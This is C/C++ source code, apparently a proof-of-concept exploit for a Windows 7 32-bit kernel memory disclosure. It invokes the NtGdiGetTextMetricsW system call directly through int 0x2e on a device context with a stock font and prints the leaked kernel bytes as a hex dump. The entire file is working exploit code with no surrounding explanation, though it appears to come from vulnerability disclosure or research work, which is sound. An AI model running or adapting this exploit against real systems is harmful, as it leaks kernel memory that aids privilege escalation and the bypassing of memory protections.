#include <Windows.h>
|
#include <cstdio>
|
|
// For native 32-bit execution.
|
extern "C"
|
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
|
__asm{mov eax, ApiNumber};
|
__asm{lea edx, ApiNumber + 4};
|
__asm{int 0x2e};
|
}
|
|
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
|
for (ULONG i = 0; i < dwBytes; i += 16) {
|
printf("%.8x: ", i);
|
|
for (ULONG j = 0; j < 16; j++) {
|
if (i + j < dwBytes) {
|
printf("%.2x ", Data[i + j]);
|
}
|
else {
|
printf("?? ");
|
}
|
}
|
|
for (ULONG j = 0; j < 16; j++) {
|
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
|
printf("%c", Data[i + j]);
|
}
|
else {
|
printf(".");
|
}
|
}
|
|
printf("\n");
|
}
|
}
|
|
int main() {
|
// Windows 7 32-bit.
|
CONST ULONG __NR_NtGdiGetTextMetricsW = 0x10d9;
|
|
// Create a Device Context.
|
HDC hdc = CreateCompatibleDC(NULL);
|
|
// Get a handle to the stock font.
|
HFONT hfont = (HFONT)GetStockObject(DEVICE_DEFAULT_FONT);
|
if (hfont == NULL) {
|
printf("GetCurrentObject failed\n");
|
return 1;
|
}
|
|
// Select the font into the DC.
|
SelectObject(hdc, hfont);
|
|
// Trigger the vulnerability and dump the kernel output on stdout.
|
BYTE output[0x44] = { /* zero padding */ };
|
if (!SystemCall32(__NR_NtGdiGetTextMetricsW, hdc, output, sizeof(output))) {
|
printf("NtGdiGetTextMetricsW failed\n");
|
DeleteObject(hfont);
|
DeleteDC(hdc);
|
return 1;
|
}
|
|
PrintHex(output, sizeof(output));
|
|
// Free resources.
|
DeleteObject(hfont);
|
DeleteDC(hdc);
|
|
return 0;
|
}
|